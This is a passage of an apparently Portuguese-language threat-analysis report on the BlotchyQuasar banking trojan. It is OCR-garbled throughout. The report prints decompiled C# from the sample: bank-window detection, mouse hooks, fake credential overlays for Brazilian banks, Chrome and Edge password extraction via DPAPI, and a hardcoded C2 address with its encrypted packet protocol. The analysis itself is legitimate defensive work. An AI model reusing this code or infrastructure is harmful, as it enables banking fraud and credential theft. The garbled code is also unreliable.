' -Force\"\r\n ren FILEEXENAME ",
text7,
"“\r\n powershell -command \"$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('",
texts,
"'); $s.TargetPath = °"
-.Combine(directoryName, text7),
"'; $s.Save()\"\r\n start ",
text?,
“\r\n exit”
B H
File.WriteAllText(text4, text9);
Process.Start(new ProcessStartInfo
i
FileMame = text4,
CreateNoWindow = true,
UseShellExecute = false,
WindowStyle = 1
B H
-Exit(e);

O fluxo de atualizagdo demonstra preocupacdo explicita com evaséo e
reducdo de vestigios forenses, uma vez que versdes anteriores do malware sao
removidas antes da implantacao da nova instancia. Esse comportamento dificulta
analises retroativas baseadas em artefatos locais e permite que a campanha se
adapte rapidamente a mudancgas nos portais bancarios, ajustes nos overlays de
fraude ou resposta a mecanismos de deteccgao.

Monitoramento de Ociosidade e Estado do Usuario

O BlotchyQuasar mantém uma thread dedicada para monitorar
continuamente o estado de atividade do usuario. Essa légica permite ao malware
@ identificar periodos de inatividade, decidir quando iniciar acdes invasivas com
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menor risco de percepcao e reportar o status operacional ao servidor de Comando
e Controle (C2).

O controle de ociosidade é implementado na classe UserActivityMonitor, cuja
funcao central é /IsUserldle. Essa fungéao calcula o tempo decorrido desde a ultima
interagcdo do usuario comteclado ou mouse, utilizando chamadas indiretas as APls
do Windows por meio de InputSimulator.GetLastinputTime.

private static bool IsUserldle() {
long num = Stopwatch.GetTimestamp() -
(long)((ulong)inputSimulator.GetLastinputTime());

num = ((num >0L) ? (num / 1000L) : OL);
return num > 600L; // Usuario considerado inativo apos ~10 minutos

}

Quando o tempo de inatividade ultrapassa o limiar definido (600 unidades), o
estado do usuario € marcado como /dle, permitindo que o malware:

e Sinalize o status ao C2.

e Prepare o ambiente para futuras acgoes.

o Evite executar rotinas invasivas enquanto o usuario esta atento a tela.
Esse mecanismo demonstra uma preocupacao clara com timing operacional,
caracteristica comum em trojans bancarios maduros.

Deteccao de Contexto Bancario via Monitoramento de Janelas Ativas

A identificacdo do momento exato em que a vitima acessa servigos
financeiros é realizada por meio da inspecédo continua da janela em primeiro plano.
O malware obtém o titulo da janela ativa através de chamadas as APIs
GetForegroundWindow e GetWindowText, expostas pela biblioteca user32.dlL.

Afuncao IsBankWindowActive é responsavel por avaliar se o titulo da janela
corresponde a um portal bancario de interesse. Durante a analise, foi identificado
foco explicito no Internet Banking da Caixa Econémica Federal, utilizando uma
expressao regular projetada para tolerar variagdes no titulo da pagina.

private static bool IsBankWindowActive(string title) {
string text = "i.*n.*t.*e.*r.*n. *e. *t.*b.*a.*n. *k.*i.*n.*g.*c.*a.*i.*x.*a";

return Regex.IsMatch(title, text, RegexOptions.IgnoreCase);

}

Essa verificagdo ocorre dentro de um [oop continuo, executado
aproximadamente a cada 1000 ms, garantindo detec¢do quase imediata quando o
usuario navega até o portal bancario. Esse comportamento reforgca o carater reativo
e direcionado do malware, que ndo depende de execucdo manual ou gatilhos
genéricos.
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Supressao de Resposta do Usuario e Manipulacao de Entrada

Uma vez detectado o contexto bancario, ou mediante comando explicito do
C2 por meio da funcdo LaunchBankPayload, o BlotchyQuasar inicia uma
sequéncia coordenada de agOes destinadas a neutralizar a capacidade de resposta
da vitima durante o ataque.

Interceptacao e Bloqueio de Eventos de Mouse

A classe Mouselnterceptor instala um hook de baixo nivel utilizando
SetWindowsHookEx com o identificador WH_MOUSE_LL (14). Esse hook intercepta
eventos de mouse antes que sejam entregues as aplicagdes legitimas.

Eventos como cliques direitos (WM_RBUTTONDOWN), movimentacao do
cursor e uso do scroll, sdo descartados ou manipulados, impedindo que o usuario
feche o navegador, altere abas ou interrompa o fluxo da fraude.

Em paralelo, o malware utiliza a classe CursorManager para substituir os
cursores do sistema por versdes totalmente transparentes, criando um efeito de
“cegueira” seletiva. A modificacao ocorre diretamente no Registro do Windows,
sob o contexto do usuario atual.

public static void ApplyTransparentCursorToAll() {
string cursorPath = CursorManager.CreateTransparentCursor();
string[] cursors ={ "Arrow", "IBeam", "Hand", "Wait" };
using (RegistryKey key =
Registry.CurrentUser.OpenSubKey("Control Panel\\Cursors", true)) {

foreach (string cursor in cursors) {
key.SetValue(cursor, cursorPath);
}
CursorManager.SystemParametersinfo(87U, 0U, IntPtr.Zero, 3U);
}
}

Esse mecanismo impede que a vitima perceba manipulacdes na interface
grafica, mesmo quando ag¢des automatizadas estdo ocorrendo em primeiro plano.

Preparacao do Ambiente do Navegador: Manipulacao da GPU no Chrome

Uma técnica particularmente sofisticada identificada no BlotchyQuasar é a
fungcdo DisanebleGpu, responsavel por modificar o arquivo Local State do Google
Chrome. O malware altera o campo hardware_acceleration_mode, forgando o
navegador a operar sem aceleracao de hardware.

Essa modificacdo tem impacto direto na eficacia do ataque, pois:

e Forgcaarenderizagao via software.

e Facilita capturas de tela limpas por meio de BitBlt.

o Evita artefatos graficos que poderiam denunciar overlays maliciosos.
Aumenta a confiabilidade de formularios sobrepostos.

O
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Essa etapa evidencia um preparo ativo do ambiente, e ndo apenas uma execugao
oportunista.

Captura Direcionada de Credenciais Bancarias via Overlays

Com o ambiente controlado, o BlotchyQuasar carrega formularios de
sobreposicao customizados (PasswordForm, CredentialOverlayForm) projetados
para imitar com alta fidelidade interfaces legitimas de instituicoes financeiras
brasileiras.

Mecanismo de Sobreposicao de Tela (Screen Overlay)

O BlotchyQuasar implementa um mecanismo avancado de sobreposicao
de tela por meio da classe CredentialOverlayForm, responsavel por criar janelas
fraudulentas que se sobrepdem as aplicagdes legitimas do usuario durante o
acesso a servicos bancarios. Para garantir que essas janelas permanegam visiveis
e operacionais durante toda a interacao da vitima, o malware emprega multiplas
técnicas de manipulacao de janelas utilizando APIs nativas do Windows expostas
pela biblioteca user32.dll.

A persisténcia da sobreposicdo em primeiro plano é assegurada por um
timer dedicado que verifica continuamente se o formulario fraudulento permanece
como a janela ativa. Caso contrario, o malware forga sua retomada ao foco por
meio da funcao SetForegroundWindow. Adicionalmente, o cddigo manipula estilos
estendidos da janela utilizando SetWindowlLong com o indice GWL_EXSTYLE,
aplicando flags como WS_EX_TRANSPARENT e WS_EX_NOACTIVATE, o que
permite controlar seletivamente a interagcado do usuario e reduzir indicios visuais da
sobreposicéo.

private void timerl_Tick_1(object sender, EventArgs e)

{
Application.DoEvents();
handle = base. :
if (CredentialOverlayForm.GetForegroundWindow() != handle)
i
CredentialOverlayForm.SetForegroundWindow(handle);
¥
¥

Os formulérios utilizados na fraude s&o ainda configurados com a
propriedade TopMost = true, garantindo que permanecam acima de todas as
demais janelas abertas no sistema, inclusive navegadores e aplicacoes legitimas,
reforcando a eficacia do ataque.
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private void RECORTE_FLASH Load{object sender, EventArgs e)

{
if ( .MainOverlayInterceptor. )
{
.MainOverlayInterceptor.Invoke(new MethodInvoker(delegate()
{
int windowlLong?2 = CredentialOverlayForm.GetWindowLong( .MainOverlayInterceptor. s -20);
CredentialOverlayForm.SetWindowlLong( .MainOverlayInterceptor. » -28, windowlLong2 & -33);
s
¥
else
{
int windowlong = CredentialOverlayForm.GetWindowLong( -MainOverlayInterceptor. , -20);
CredentialOverlayForm.SetWindowlLong( .MainOverlayInterceptor. » -28, windowLong & -33);
¥
handle = base. g
base. = true;
CredentialOverlayForm.SetForegroundWindow(handle);
3

Captura e Roubo de Credenciais Digitadas

O roubo de credenciais no BlotchyQuasar é realizado de forma modular e
altamente direcionada, com suporte a multiplas instituicdes financeiras e
diferentes métodos de autenticagao, incluindo senhas numéricas, tokens fisicos,
tokens moveis e QR Codes. A ativagao do fluxo de captura ocorre somente apds a
identificacao do contexto bancario correto, obtida por meio do monitoramento
continuo do titulo das janelas ativas.

Uma vez identificado o alvo, o médulo WindowEvilManager dispara a execugao do
payload bancario correspondente por meio da fungao LaunchBankPayload. Os
dados sao coletados por formularios fraudulentos customizados implementados
na classe PasswordForm, que contém multiplos painéis pré-configurados para
diferentes bancos brasileiros, como Banco do Brasil, Bradesco, Sicredi e Mercado
Pago, cada um adaptado aos respectivos fluxos de autenticagao.

public static void LaunchBankPayload(BankPayloadPacket command, TcpClientHandler client)
{
new Thread{delegate()
i
try
{
MouseInterceptor.id_operar = 8;
MouseInterceptor.Start();
CursorManager.ApplyTransparentCursorToAll();

.recorte_rfid = command. 5
foreach (object obj in Application. )
{

Form form = (Form)obj;
if (form is KeyboardInterceptorForm)
{
form.BringToFront();
return;
¥
by
if .MainOverlayInterceptor == null)
i
-MainOverlayInterceptor = new KeyboardInterceptorfForm();
b

A captura das informacdes digitadas ocorre por meio da interceptacao direta de
eventos de teclado associados aos campos de entrada dos formuldarios
fraudulentos. Eventos como TextBox KeyUp séo utilizados para registrar cada
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caractere inserido, que é concatenado internamente antes de ser preparado para
exfiltracao.

private void TextBox_ KeyUp(object sender, KeyEventArgs e)
i
TextBox textBox = sender as TextBox;
int num = Array.IndexOf<TextBox>(this.textBoxes, textBox);
if (e. == Keys.Back && textBox. - == @)
1
if (num > 8 && this.textBoxes[num - 1]. 5 > @)
i
this.textBoxes[num - 1].Focus{);
this.textBoxes[num - 1].SelectAll();
return;
¥
¥
else if (textBox.
1
if {(num < this.textBoxes. - 1)
i
this.textBoxes[num + 1].Focus{);
return;
¥
string senhas = string.Concat(Array.ConvertAll<TextBox, string>(this.textBoxes, (TextBox box) => box. )i
.TogglePanelVisibility(true);
.senhas = senhas;
base.Close(};

Para reduzir a percepcgao da vitima durante a sobreposi¢édo, o malware pode ainda
aplicar cursores totalmente transparentes em todo o sistema por meio da classe
CursorManager, dificultando a identificagcédo visual de cliques e interacdes reais
enguanto a fraude estd em andamento.

public class CursorManager
1

// Token: ©x8680007A RID: 122
[D11Import(“user32.dll”, SetlLastError = true)]
private static extern bool SystemParametersInfo{uint wiAction, uint wiParam, pvParam, uint fWinIni);

/{ Token: @ 878 RID: 123 RVA: Bx C
public static string CreateTransparentCursor()

{

@x88B2C4CE

Bitmap bitmap = new Bitmap(32, 32);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.Clear( - )
¥
string text = .Combine( .GetTempPath(}, “transparent.cur™};
using {Icon icon = Icon.FromHandle(bitmap.GetHicon()))
1
using (FileStream fileStream = new FileStream(text, FileMode.Create})
i
icon.Save(fileStream);
¥
¥
bitmap.Dispose()};
return text;

Todas essas fungGes sdo inicializadas assim que a rotina entra em HandleCredentialData,
que se mostra uma das fun¢des orquestradoras da fraude bancaria.

O
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public static woid HandleCredentialData{CredentialDataPacket command, TcpClientHandler clienmt)
{
new Thread(delegate()
i
try
i
MouseInterceptor.id operar = 1;
CursorManager.ResetCursors();

.senhas = "7

string rfid = command. H

string @base = command. H

string grcode = command. 5

if ( .FORMDADOS == null)

i

.FORMDADOS = new PasswordForm();

¥

O codigo revela logica especifica para multiplos bancos e métodos de
autenticacéao, incluindo:

e Banco do Brasil: senhas de 6 e 8 digitos, BB Code e QR Code

else if (rfid == "BB6")
i
.BB_ 801 = 1;
.TogglePanelVisibility(false);
Thread.Sleep(188);
PasswordForm.RFID = "SENHA DE 6 BB";

. FORMDADOS. = 798;
. FORMDADOS. = 598;
. FORMDADOS . = FormStartPosition.CenterScreen;

if {(rfid == "BB&")
i
.BB_@@1 = 2;
.TogglePanelVisibility{false);
Thread.S5leep(168);
PasswordForm.RFID = "SENHA DE 8 BB™;

- FORMDADOS . = 798;
. FORMDADOS . = 598;
. FORMDADOS. = FormStartPosition.CenterScreen;

if (rfid == "BBCODE")
i
.BB_001 = 4;
.TogglePanelVisibility{false);
Thread.Sleep(188);
PasswordForm.RFID = "SENHA DE QRCODE BB™;

. FORMDADOS . = 798;
. FORMDADOS . = 508;
. FORMDADOS. = FormStartPosition.CenterScreen;

e Bradesco: tokens fisicos e autenticacao via aplicativo

O
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else if (rfid == "DESCTOKF™)
i
.TogglePanelVisibility(false);
Thread.Sleep(168);
.DESC_@86 = 1;
PasswordForm.RFID = "BRADESCO TOKEN FIS: ™;

. FORMDADOS . = 798;
- FORMDADOS . = 598;
. FORMDADOS . = FormStartPosition.CenterScreen;

e Sicredi: assinatura eletronica e tokens mobile

if (rfid == "ASSITOKFF")
{
.TogglePanelVisibility(false);
Thread.Sleep(18@);
LSIST 004 = 2
PasswordForm.RFID = "TOKEN-FIS SICRED";

. FORMDADOS . = 796,
. FORMDADOS . = 59a;
. FORMDADOS . = FormStartPosition.CenterScreen;

e Mercado Pago: SMS, WhatsApp, 2FA e QR Code

else if (rfid == "MP2FA"™)
i
.TogglePanelVisibility{false);
Thread.5leep(1496});

-MPMP_005 = 3;
PasswordForm.RFID = "MP2FA";
- FORMDADOS . = 798;
- FORMDADOS . = 598;
. FORMDADOS. = FormStartPosition.CenterScreen;
if (rfid == "MPQRCODE™)

i
.TogglePanelVisibility(false);
Thread.Sleep(188);
.DESC_B886 = 2;
PasswordForm.RFID = "MP QRCODE: “;

- FORMDADOS . = 798;
. FORMDADOS . = 508;
. FORMDADOS . = FormStartPosition.CenterScreen;
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else if (rfid == "MPSMS")

i
.TogglePanelVisibility(false);
Thread.Sleep(188);
.MPMP_005 = 1;
PasswordForm.RFID = "MP SMS™;
. FORMDADOS = 796;
. FORMDADOS = 508;
. FORMDADOS = FormStartPosition.Centerscreen;
if (rfid == "MPZAP")
{

.TogglePanelVisibility(false);
Thread.Sleep{18@);

-MPMP_005 = 2,
PasswordForm.RFID = "MP ZAP";

. FORMDADOS . = 798;

. FORMDADOS . = 59a;

. FORMDADOS . = FormStartPosition.CenterScreen;

Esses overlays sao apresentados apenas quando o contexto bancario
correto ¢é identificado, reforgando o carater cirurgico e altamente direcionado da
campanha.

private void InitializeComponent(}
{

this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
this.
base.
this.
this.

components = new Container();
timerl = new Timer(this.components);
panell = new Panel(};

pictureBoxl = new PictureBox();
Text_passowrsd = new TextBox();
BtnST_ok = new Button():
btnsT_Volta = Button();

panel? = new Panel(};

pictureBox2 = new PictureBox();
panel3 = new Panel()};

TextDesc = new TextBox();

btn_desc = new Button();
pictureBox3 = new PictureBox();
panell.SuspendLayout();
pictureBoxl.BeginInit();
panel2.SuspendLayout();
pictureBox2.BeginInit();
panel3.suspendLayout();
pictureBox3.BeginInit();
suspendLayout();

timerl.Tick += this_timerl_Tick_1;
panell. .Add{this.pictureBoxl);

new

O monitoramento de atividade do usuario e a detecgao de contexto bancario
no BlotchyQuasar representam um nivel elevado de maturidade operacional. O
malware nao apenas observa o comportamento davitima, mas modela o ambiente,
suprime respostas, manipula o navegador e apresenta interfaces fraudulentas no
momento exato de maior impacto financeiro.

O
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Essa abordagem transforma o BlotchyQuasar em um agente de fraude ativa,
operando como um intermedidrio invisivel entre o usuario e o banco, com
capacidade de capturar credenciais, tokens e fatores adicionais de autenticagao
sem levantar suspeitas imediatas.

RouBoO DE CREDENCIAIS E DADOS SENSIVEIS

O malware BlotchyQuasar implementa um conjunto de rotinas
especializadas para a coleta de credenciais e dados sensiveis armazenados
localmente, com foco primario em navegadores baseados no engine Chromium e
mecanismos complementares de captura em tempo real. A combinacdo dessas
técnicas demonstra clara orientacdo a obtengdo de credenciais bancarias,
sessbes autenticadas e informagdes financeiras, sem dependéncia exclusiva de
phishing tradicional.

Extracao de Credenciais de Navegadores (Chrome e Edge)

A principal técnica de roubo de credenciais baseia-se na extragao direta dos
bancos de dados internos utilizados pelos navegadores Google Chrome e
Microsoft Edge. O malware percorre automaticamente os diretérios padrao
localizados em %LOCALAPPDATA%, identificando os arquivos essenciais ao
processo:

e Login Data: banco de dados SQLite que armazena URLs, nomes de usuario
e senhas criptografadas.
e Local State: arquivo JSON que contém a chave mestra AES utilizada pelo
navegador para proteger todas as credenciais salvas.
Os seguintes caminhos sao explicitamente mapeados e utilizados durante a
coleta:

Google\Chrome\User Data\Default\Login Data
Google\Chrome\User Data\Local State

Microsoft\Edge\User Data\Default\Login Data
Microsoft\Edge\User Data\Local State

Derivacao da Chave Mestra (AES) via DPAPI

Apo6s localizar o arquivo Local State, o malware extrai o campo encrypted_key,
responsavel por armazenar a chave mestra criptografica do navegador. O processo
ocorre em trés etapas bem definidas:

Leitura e parsing do JSON para extracdo da chave codificada em Base64.
Remocao do prefixo padrao "DPAPI" (5 bytes iniciais).

Descriptografia da chave utilizando a APl nativa do Windows DPAPI
(ProtectedData.Unprotect) sob o escopo do usuario atual.

Esse fluxo elimina qualquer barreira criptografica aplicada pelo navegador,
permitindo que o malware opere sem necessidade de privilégios administrativos,
desde que executado no contexto do usuario comprometido. A posse dessa chave
AES concede acesso irrestrito a todas as senhas armazenadas localmente.

O
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Acesso ao Banco SQLite e Coleta dos Registros

Para evitar falhas de leitura causadas pelo bloqueio do arquivo em uso pelo
navegador, o malware copia o banco Login Data para um arquivo temporario no
diretério %TEMP%. Em seguida, estabelece conexao SQLite e executa a seguinte
query:

SELECT origin_url, username_value, password_value FROM logins;

string text = .Combine( -GetTempPath(), browser + "Data.db");

File.Copy{dbPath, text, true);

using (5QLiteConnection sqliteConnection = new SQLiteConnection("Data Source=" + text + ";"))
{

sgliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT origin_url, username_value, password_value FROM logins”, sqliteConnection))

using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
i
while (sqliteDataReader.Read())

Cada registro retornado é processado individualmente, permitindo a coleta
completa de todas as credenciais salvas, independentemente da quantidade de
entradas existentes no navegador.

Descriptografia das Senhas (AES-256-GCM - Prefixo “v10”)

As senhas armazenadas pelos navegadores Chromium utilizam criptografia
AES-256-GCM, identificada pelo prefixo "v10" nos primeiros bytes do campo
password_value. O malware implementa uma rotina dedicada de descriptografia
que executa:

o Validacéo do prefixo "v10".

e Extracdo do nonce/lV (12 bytes).

e Separacao do ciphertext e da authentication tag.

e Inicializacao do algoritmo AES-GCM utilizando a chave derivada via DPAPI.
e Descriptografia e conversao do resultado para UTF-8.

Caso a descriptografia falhe ou o campo esteja vazio, o malware registra
explicitamente a ocorréncia, mantendo a consisténcia da saida final.

Consolidacao e Preparacao para Exfiltracao
As credenciais extraidas sao organizadas em blocos estruturados contendo:

e URL associada
e Nome de usuario
e Senhaem texto claro (ou indicacao de falha)

Esses dados sdo concatenados em memdaria utilizando um objeto StringBuilder
e encapsulados por marcadores textuais padronizados, sugerindo um formato
consistente para exfiltracdo ou armazenamento temporario antes do envio ao
servidor de Comando e Controle (C2).

O
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INFRAESTRUTURA DE COMANDO E CONTROLE (C2)

Parte das capacidades descritas a seguir € herdada diretamente do
QuasarRAT original, enquanto outras foram confirmadas especificamente na
variante BlotchyQuasar analisada.

A infraestrutura de Comando e Controle (C2) do BlotchyQuasar é
construida sobre um protocolo proprietario operando diretamente sobre conexdes
TCP, incorporando multiplas camadas de protecao, criptografia e mecanismos de
resiliéncia voltados a continuidade operacional da campanha. Essa arquitetura
permite que o operador mantenha controle persistente sobre o host comprometido
mesmo em cenarios de instabilidade de rede, inspecdo profunda de trafego ou
interrupgdes pontuais de partes da infraestrutura, reduzindo significativamente a
dependéncia de servigos expostos publicamente.

No método ConnectToServer, o malware instancia um socket TCP por meio da
chamadanew Socket(2, 1, 6), naqualovalor2indica o usodafamilia de enderegos
InterNetwork (IPv4), o valor 1 define um socket do tipo Stream, voltado a
comunicagdo orientada a conexao, e o valor 6 especifica o protocolo TCP. Essa
escolha confirma que o BlotchyQuasar implementa um canal de comunicacéo
persistente de baixo nivel, sem dependéncia de protocolos de aplicagcao
padronizados como HTTP ou HTTPS.

public void ConnectToServer(string host, ushert port)
{
if (this._serializer == null)
i
throw new Exception(”Serializer not initialized");

this.Disconnect();

this.InitProxyClientsLock();

this._handle = new Socket(2, 1, 6);

this._handle. epAliveEx(this. . this. JJE
this._readBuffer = new byte[this. 1;

this._ tempHeader = new byte[this. 1;

this._handle.Connect(host, (int)port);

if (this._handle.Connected)

{

this. handle.BeginReceive(this. readBuffer, @, this._ readBuffer. » B, new AsyncCallback(this.AsyncReceive), null);
this.OnClientState(true);
X
¥
catch (Exception ex)
i
this.onClientFail(ex);
¥
T

Diferentemente de trojans bancarios mais simples, que frequentemente
utilizam HTTP ou HTTPS como canal primario de comunicacgéao, o BlotchyQuasar
implementa um cliente C2 completo, caracteristico de RATs mais maduros, com
suporte a comunicacao bidirecional continua, execugdo remota de comandos,
captura de tela, coleta de dados sensiveis e exfiltragdo estruturada de
informagdes. A auséncia de endpoints web acessiveis publicamente e de
respostas a requisicoes genéricas reforca o carater furtivo da comunicacao,
dificultando a deteccéao baseada em assinaturas de protocolos convencionais.

A analise do cddigo e do comportamento de rede indica que o malware
estabelece inicialmente contato com um host de bootstrap hardcoded,
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responsavel por atuar como ponto inicial de conexao. Esse né ndo se comporta
como um servidor C2 tradicional, mas sim como um intermediario protegido por
firewall, acessivel apenas mediante o estabelecimento de um handshake valido e
do protocolo proprietario implementado pelo malware. Apds essa fase inicial, o
cliente pode receber dinamicamente uma lista de servidores C2 secundarios,
permitindo a rotagdo de infraestrutura, balanceamento de carga e rapida
adaptacdo em caso de bloqueio ou indisponibilidade de um dos endpoints. Esse
modelo reduz a exposicdo de enderecos criticos e aumenta a longevidade da
campanha.

ey .PASSWORD) ;
MainFormTrojan._hosts = new HostQueueManager( .GetHostsList("185.167.60.175:443"));

. = .Combine( .DIR, ((!string.IsNullOrEmpty
( .SUBFOLDER)} ? ( .SUBFOLDER + "\\") : "") + .INSTALLNAME);
if (MainFormTrojan._hosts. )]
i
= true;
i
if ( . )]
i
return;

i
if (! LINSTALL || : == . )

i
.StartIdleMonitor();
MainFormTrojan.InitializeClient(};
MainFormTrojan.InitializeMagCapture();
return;

A comunicagao entre cliente e servidor € realizada por meio de fluxos
binarios criptografados, com dados compactados e protegidos por algoritmos
simétricos, 0 que impede a inspecao direta do contelddo trafegado e dificulta
analises baseadas em payload. Além disso, o uso de portas comumente
associadas a servicos legitimos, como a 443/TCP, contribui para camuflar o trafego
em ambientes corporativos, mesmo quando ndo ha utilizagdo de protocolos web
padronizados.

A analise do namespace Network.Client, em especial da classe TcpClientHandler,
evidencia que toda a comunicacdo com a infraestrutura de Comando e Controle é
implementada sobre sockets TCP de baixo nivel, sem o uso de protocolos de
aplicacao padronizados como HTTP ou TLS. O malware gerencia manualmente o
framing dos dados por meio de um cabecalho fixo de 4 bytes, responsavel por
indicar o tamanho exato do payload subsequente, permitindo a reconstrucéo
correta de pacotes mesmo em cenarios de recepcao fragmentada.
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private byte[] BuildPacket(byte[] payload)

i
payload = .Compress(payload, 3);
payload = .Encrypt(payload);
byte[] array = new byte[payload. + this. 1;
Array . Copy( .GetBytes(payload. ), array, this. );
Array.Copy(payload, @, array, this. . payload. ¥;
return array;
¥

A légica de recepcdo implementa uma maquina de estados explicita,
alternando entre leitura de cabecalho e leitura de payload, com validacao rigorosa
de tamanho maximo de pacote e descarte imediato da conexdo em caso de
inconsisténcia. Apds a reconstrucao completa do payload, o fluxo é invertido de
forma deterministica: descriptografia AES, descompressdo QuickLZ e
desserializacdo dindmica do objeto IPacket, que entdo é encaminhado ao
dispatcherinterno de comandos.

O envio de dados segue o mesmo modelo proprietario, operando de forma
assincrona e bufferizada, utilizando filas internas e threads do ThreadPool para
evitar bloqueios perceptiveis ao usuario. Esse desenho permite a exfiltracao
continua de grandes volumes de dados, como capturas de tela e fluxos de eventos,
mantendo o processo responsivo e reduzindo artefatos comportamentais
observaveis. A presencga explicita de parametros de keep-alive no socket reforga o
foco em sessbes persistentes, mesmo em ambientes com inspec¢cdo de estado ou
traducdes de enderego (NAT).

Complementarmente, a infraestrutura C2 suporta recursos avancados de rede
herdados do QuasarRAT, como funcionalidades de proxy reverso e UPnP, que
possibilitam ao operador realizar pivoteamento dentro da rede interna da vitima,
alcancar sistemas adicionais e ampliar o escopo do comprometimento. Esses
mecanismos reforcam o carater modular e extensivel do BlotchyQuasar,
posicionando-o ndo apenas como um trojan de acesso remoto, mas como uma
plataforma capaz de sustentar operagdes prolongadas de espionagem, fraude e
controle remoto em ambientes monitorados.

PIPELINE DE EXFILTRACAO DE DADOS

No BlotchyQuasar, a pipeline de exfiltragcdo de dados destaca-se como um
componente modular, eficiente e altamente estruturado, projetado para coletar,
processar e transmitir informacodes sensiveis da vitima ao servidor de Comando e
Controle (C2). Diferentemente de mecanismos simples de envio de arquivos, essa
pipeline abrange multiplas fontes de dados, desde credenciais armazenadas até
informacgdes capturadas em tempo real, e emprega técnicas de otimizacéao, sigilo
e persisténcia de comunicacéo.

O fluxo completo pode ser dividido em trés fases principais: Coleta,
Processamento e Transmissao.
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Serializacao de Pacotes

Na pipeline de exfiltracdo do BlotchyQuasar, a serializagdo de pacotes
representa a primeira etapa de transformacdo dos dados coletados, sendo
responsavel por converter objetos internos do malware (comandos, respostas e
artefatos capturados) em fluxos binarios compactos e padronizados. O malware
nao utiliza formatos textuais como JSON ou XML, optando por um serializador
binario customizado, implementado majoritariamente no namespace
Dynamic.Serialization, reduzindo overhead de rede e dificultando a inspecao de
trafego.

A arquitetura baseia-se na classe DynamicSerializer, que mantém um
mapeamento explicito de tipos permitidos para serializagdo. Durante a
inicializacdo do cliente, todos os pacotes suportados pelo protocolo C2 séo
previamente registrados, estabelecendo um contrato rigido entre cliente e servidor
e evitando a necessidade de reflexao genérica durante a comunicagao.

MainFormTrojan.ConnectClient. AddTypesToSerializer(new Type[]

{
typeof(KeepAlivePacket),

typeof(BankPayloadPacket),

typeof(TextRecordPacket),
typeof(CredentialDataPacket),
typeof(ScreenCapturePacket)

A serializagdo ocorre no método genérico TcpClientHandler.Send, no qual
objetos que implementam a interface |IPacket sdo convertidos diretamente em um
buffer binario por meio de um MemoryStream. Nesse estagio, o payload ainda néo
sofreu compressao ou criptografia, representando apenas a forma binaria “crua”
do objeto.

public void Send<T>(T packet) where T : IPacket
{

using (MemoryStream ms = new MemoryStream())
{
_serializer.Serialize(ms, packet);
_handle.Send(BuildPacket(ms.ToArray()));
}
}

No fluxo inverso, apdés a remocgao das camadas externas do pacote, o
meétodo Deserialize reconstréi o objeto original a partir do buffer recebido,
permitindo que comandos enviados pelo C2 sejam novamente interpretados como
estruturas légicas e encaminhados ao despachador interno do malware.

IPacket packet = (IPacket)_serializer.Deserialize(memoryStream);
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Um aspecto técnico relevante é o uso de geracao dindmica de cédigo por
meio de Reflection.Emit. O BlotchyQuasar cria, em tempo de execucio, métodos
IL especificos para leitura e escrita dos campos de cada tipo serializavel, evitando
o custo de reflexdo tradicional. Para tipos primitivos, a classe PrimitiveSerializer
utiliza técnicas como Varint encoding, reduzindo o numero de bytes necessarios
para representar valores inteiros.

private static void WriteVarint32(Stream stream, uint value)

{
while (value >= 128U)

{

stream.WriteByte((byte)(value | 128U));
value >>=7;

}
stream.WriteByte((byte)value);

}

Em sintese, a serializagdo no BlotchyQuasar fornece padronizagao
estrutural, eficiéncia de trafego e ofuscacao implicita, preparando os dados para
as etapas subsequentes do pipeline de exfiltracdo sem expor qualquer semantica
legivel durante o transporte.

Compressao (QuickLZ)

Na pipeline de exfiltragdo do BlotchyQuasar, a compresséo atuacomo uma
etapa intermediaria essencial entre a serializacao binaria dos dados e a aplicacao
da criptografia simétrica. O malware utiliza uma implementagcdo embutida da
biblioteca QuickLZ (v1.5.0), localizada no namespace QLZCompression,
aplicando compressao sistematicamente sobre todo payload serializado antes de
qualquer transmissao ao servidor de Comando e Controle (C2).

Essa etapa é executada de forma transparente dentro do método BuildPacket,
pertencente a classe TcpClientHandler, evidenciando que a compressao nao é
opcional nem condicional, mas parte fixa do protocolo de comunicacdo do
malware. O cddigo revela que o BlotchyQuasar utiliza explicitamente o nivel 3 de
compressao, priorizando taxa de compactacao em detrimento de velocidade, o
que é coerente com o tipo de dados exfiltrados, como capturas de tela, registros de
teclado e blocos de credenciais serializados.

private byte[] BuildPacket(byte[] payload)

{
payload = QuickLZ.Compress(payload, 3);
payload = CryptoHelper.Encrypt(payload);
// adicdo do cabecalho de rede
return array;

}
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A compressao ocorre antes da criptografia, o que é tecnicamente relevante:
ao reduzir redundancias estruturais ainda em formato binario puro, o malware
maximiza a eficiéncia do algoritmo QuickLZ e, ao mesmo tempo, garante que o
payload criptografado final apresente alta entropia, dificultando inspecoes
baseadas em padrdes ou volume de trafego.

Internamente, a implementacdo do QuickLZ no BlotchyQuasar segue o
funcionamento classico do algoritmo, utilizando dicionarios de hash para
identificar sequéncias repetitivas de bytes e substitui-las por referéncias
compactas. No nivel 3, o cddigo aloca estruturas de busca mais complexas,
permitindo detectar padrbées mais longos e alcancar taxas de compressao
superiores. O algoritmo emprega ainda uma control word de 32 bits para indicar
dinamicamente se os proximos dados representam literais ou referéncias a
sequéncias ja vistas no fluxo.

O formato dos dados comprimidos inclui um cabegalho variavel, cujo tamanho
pode ser de 3 ou 9 bytes, dependendo das flags embutidas no primeiro byte do
payload. Esse cabecalho carrega informagdes criticas para a reconstrugao correta
dos dados no destino, incluindo o tamanho original e o tamanho comprimido
quando o formato estendido ¢ utilizado.

private static int GetHeaderSize(byte[] source)

{
if ((source & 2) I=2)

return 3;
return 9;

}

No fluxo inverso, durante o recebimento de dados do C2, a descompressao
ocorre imediatamente apds a descriptografia AES. O método QuickLZ.Decompress
interpreta o cabecalho para determinar o tamanho final do buffer e reconstréi o
payload original utilizando as mesmas estruturas de dicionario e controle aplicadas
no envio.

int decompressedSize = QuickLZ.GetDecompressedSize(source);

byte[] buffer = new byte[decompressedSize];

A escolha do QuickLZ pelos desenvolvedores do BlotchyQuasar nao é
trivial. Trata-se de uma biblioteca menos comum em aplicagdes .NET modernas,
com baixo consumo de CPU e memdria, o que reduz impactos perceptiveis no
sistema da vitima. Além disso, o uso de um algoritmo fora do padrao GZip/Zlib
adiciona uma camada pratica de ofuscacdo de protocolo, dificultando analises
